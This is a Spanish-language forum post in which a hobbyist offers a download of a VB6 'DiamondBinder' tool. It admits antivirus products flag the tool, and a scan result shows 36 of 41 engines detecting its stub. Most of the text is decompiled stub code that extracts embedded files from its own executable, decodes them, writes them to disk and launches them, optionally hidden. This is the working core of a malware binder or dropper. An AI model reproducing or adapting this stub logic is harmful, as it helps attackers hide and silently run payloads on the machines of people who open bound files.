Hola soy nuevo en el foro , les presento uno de mis proyectos hecho en vb 6.0 ! , soy Aficionado , ya entendi todo acerca del vb , pero aún me falta , solo unas cuantas cosas , el Proyecto me Guie de algunos Manuales , que hisieron , Pero le agrege algunas cosas ... , bueno veanlo a ver que tal , no puedo tomar foto porque mi teclado no tiene el Boton Impr Paint Petsis   , Gracias!

Descarga - MultiUpload.com

http://www.multiupload.com/ZX2Y1SU10S
 tal ves su AV los detecte como Maliciosos , no les culpo , mi AV avast 5 Lo detecto y prove con el nod32 , tambien ...   - Adios a todos espero Comentarios

PD.- Yo soy Unknown si no que mas me gusta el nick RedBull_  

File name:
Stub.dll
Submission date:
2009-12-24 02:08:07 (UTC)
Current status:
finished
Result:
36 /41 (87.8%)

 
  'Data Table: 4011AC
  loc_401866: arg_8(0) = CStr(FreeFile)
  loc_4018B6: arg_8(20) = App.Path & "\" & App.EXEName & ".exe"
  loc_4018DC: Open arg_8(20) For Binary As CInt(arg_8(0)) Len = &HFF
  loc_4018F3: arg_8(4) = CStr(Space(LOF(1)))
  loc_40190D: Get CInt(arg_8(0)), 0, arg_8(4)
  loc_401916: Close CInt(arg_8(0))
              If (Len(arg_8(4)) = 0) Then '401929
  loc_401927:   End
              End If
  loc_40194E: arg_2008 = Split(arg_8(4), "//DiamondBinder//", -1, 0)
  loc_40195A: arg_8(8) = arg_2008
              If (UBound(arg_8(8), 1) > 0) Then '401BD9
                For var_D4 = 1 To CInt(UBound(arg_8(8), 1)): arg_8(28) = var_D4 'Integer
  loc_4019B8:     arg_2008 = Split(arg_8(8)(CLng(arg_8(28))), "//DiamonBinderData//", -1, 0)
  loc_4019C4:     arg_8(12) = arg_2008
                  If (UBound(arg_8(12), 1) > 0) Then '401BCF
  loc_4019EA:       arg_8(36) = arg_8(12)(1)
  loc_4019FA:       arg_8(40) = arg_8(12)(2)
  loc_401A0A:       arg_8(44) = arg_8(12)(3)
  loc_401A1A:       arg_8(48) = arg_8(12)(4)
  loc_401A2A:       arg_8(52) = arg_8(12)(5)
  loc_401A3A:       arg_8(32) = arg_8(12)(6)
                    If (arg_8(44) = "Si") Then '401A6B
  loc_401A5F:         arg_8(36) = Unknown_401814("DiamondBinder", arg_8(36))
  loc_401A68:         GoTo loc_401A75
                    End If
  loc_401A70:       arg_8(36) = arg_8(36)
  loc_401A75:       ' Referenced from: 401A68
                    If (arg_8(48) <> vbNullString) Then '401AB2
  loc_401AA9:         arg_8(16) = Environ$(CVar(Replace(arg_8(48), ", vbNullString, 1, -1, 0)))
                    End If
  loc_401AD9:       arg_8(24) = arg_8(16) & "\" & CStr(arg_8(28)) & "." & arg_8(52)
  loc_401AF8:       Open arg_8(24) For Binary As CInt(arg_8(0)) Len = &HFF
  loc_401B0D:       Put CInt(arg_8(0)), 0, arg_8(36)
  loc_401B16:       Close CInt(arg_8(0))
  loc_401B1D:       var_D8 = arg_8(32)
                    If (var_D8 = "Normal") Then '401B3B
  loc_401B32:         arg_8(32) = CStr(1)
  loc_401B38:         GoTo loc_401B89
                    End If
                    If (var_D8 = "Oculta") Then '401B56
  loc_401B4D:         arg_8(32) = CStr(0)
  loc_401B53:         GoTo loc_401B89
                    End If
                    If (var_D8 = "Minimizada") Then '401B71
  loc_401B68:         arg_8(32) = CStr(1)
  loc_401B6E:         GoTo loc_401B89
                    End If
                    If (var_D8 = "Maximizada") Then '401B89
  loc_401B83:         arg_8(32) = CStr(2)
  loc_401B89:         ' Referenced from: 401B38
  loc_401B89:         ' Referenced from: 401B53
  loc_401B89:         ' Referenced from: 401B6E
                    End If
                    If (arg_8(40) = "Si") Then '401BCF
  loc_401BBC:         ShellExecute(0, 0, arg_8(24), 0, 0, CLng(arg_8(32)))
                    End If
                  End If
                Next var_D4 'Integer
              End If
  loc_401BD9: Exit Sub